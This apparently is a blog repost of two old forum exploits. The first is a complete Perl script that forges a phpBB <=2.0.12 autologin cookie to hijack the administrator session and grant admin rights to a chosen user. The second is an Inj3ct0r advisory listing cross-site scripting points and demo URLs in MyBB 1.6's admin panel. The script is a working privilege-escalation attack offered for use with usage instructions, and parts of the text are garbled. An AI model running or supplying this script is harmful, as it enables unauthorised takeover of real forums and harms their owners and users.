PHP Code:
#!/usr/bin/perl -w
# phpBB <=2.0.12 session autologin exploit
# This script uses the vulerability in autologinid variable
# More: http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=267563
#
# Just gives an user on vulnerable forum administrator rights.
# You should register the user before using this ;-)
# by Kutas, kutas@mail15.com
#P.S. I dont know who had made an original exploit, so I cannot place no (c) here...
# but greets goes to Paisterist who made an exploit for Firefox cookies...
if (@ARGV < 3)
{
print q(
++++++++++++++++++++++++++++++++++++++++++++++++++ +Usage: perl nenu.pl [site] [phpbb folder] [username] [proxy (optional)]i.e. perl nenu.pl www.site.com /forum/ BigAdmin 127.0.0.1:3128++++++++++++++++++++++++++++++++++++++++++++++++++ ++
);
exit;
}
use strict;
use LWP::UserAgent;
my $host = $ARGV[0];my $path = $ARGV[1];my $user = $ARGV[2];my $proxy = $ARGV[3];my $request = "http://";$request .= $host;$request .= $path;
use HTTP::Cookies;my $browser = LWP::UserAgent->new ();my $cookie_jar = HTTP::Cookies->new( );$browser->cookie_jar( $cookie_jar );$cookie_jar->set_cookie( "0", "phpbb2mysql_data", "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1 %3Bs %3A6%3A". "%22userid%22%3Bs%3A1%3A%222%22%3B%7D", "/", $host, , , , ,);
if ( defined $proxy) {$proxy =~ s/(http://)//eg;$browser->proxy("http" , "http://$proxy");
}
print "++++++++++++++++++++++++++++++++++++\n";
print "Trying to connect to $host$path"; if ($proxy) {print "using proxy $proxy";}
my $response = $browser->get($request);
die "Error: ", $response->status_line
unless $response->is_success;
if($response->content =~ m/phpbbprivmsg/) {
print "\n Forum is vulnerable!!!\n";
} else {
print "Sorry... Not vulnerable"; exit();}
print "+++++++++++++++++++++++++++++\nTrying to get the user:$user ID...\n";$response->content =~ /sid=([wd]*)/;my $sid = $1;
$request .= "admin\/admin_ug_auth.php?mode=user&sid=$sid";$response = $browser->post($request,
['username' => $user,'mode' => 'edit','mode' => 'user','submituser' => 'Look+up+User'],
);
die "Error: ", $response->status_line
unless $response->is_success;
if ($response->content =~ /name="u" value="([\d]*)"/)
{print " Done... ID=$1\n++++++++++++++++++++++++++++++\n";}
else {print "No user $user found..."; exit(); }my $uid = $1;
print "Trying to give user:$user admin status...\n";
$response = $browser->post($request,
['userlevel' => 'admin','mode' => 'user','adv'=>'','u'=> $uid,'submit'=> 'Submit'],
);
die "Error: ", $response->status_line
unless $response->is_success;
print " Well done!!! $user should now have an admin status..\n++++++++++++++++++++++++++++";PHP Code:
<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>MYBB 1.6 (admin/index.php) XSS Vulnerabilities</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>==============================================MYBB 1.6 (admin/index.php) XSS Vulnerabilities==============================================1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /’ __ /’__` / __ /’__` 0
0 /_, ___ /_/_ ___ ,_/ / _ ___ 1
1 /_/ /’ _ ` / /_/__<_ /’___ / /`’__ 0
0 / / / / __/ _ _ / 1
1 _ _ __ ____/ ____ __ ____/ _ 0
0 /_//_//_/ _ /___/ /____/ /__/ /___/ /_/ 11 ____/ >> Exploit database separated by exploit 0
0 /___/ type (local, remote, DoS, etc.) 1
1 1
0
Site : Inj3ct0r.com 0
1
Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################## 10 I’m Sid3^effects member from Inj3ct0r Team 1
1 ########################################## 00-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name : MYBB 1.6 XSS Vulnerabilities in admin/index.php
Date : August, 15 2010
Vendor Url : http://www.mybb.com/Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>Big hugs : Th3 RDX
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr
greetz to :www.topsecure.net ,trent Dillman,All ICW members and my friends luv y0 guyz
Happy Independence day to all Pakistani and Indians #######################################################################################################MyBB contains a flaw that allows a remote cross site scripting attack. This flaw exists because it doesn’t
validate the inputs which are passed.Xploit: XSS Vulnerabilities
XSS Vulnerabilities are found in the following* Add New Forum* Create New Theme* Simile* Post Icons* custom profile###############################################################################################################DEMO URLs: http://demo.opensourcecms.com/mybb/admin/index.php?module=forum-management&action=addhttp://demo.opensourcecms.com/mybb/admin/index.php?module=style-themes&action=addhttp://demo.opensourcecms.com/mybb/admin/index.php?module=config-smilieshttp://demo.opensourcecms.com/mybb/admin/index.php?module=config-post_iconshttp://demo.opensourcecms.com/mybb/admin/index.php?module=config-profile_fields
###############################################################################################################STEP :
* Login first* goto the options and insert the xss scripts and check the forum.###############################################################################################################
# 0day no more
# Sid3^effects
# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-08-15]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>Source: http://inj3ct0r.com/exploits/13706 NB; Hanya sekedar berbagi ilmu semoga bermanfaat. klu ada yg salah mohon disempurnakan....oke Trims. 
0 comments:
Post a Comment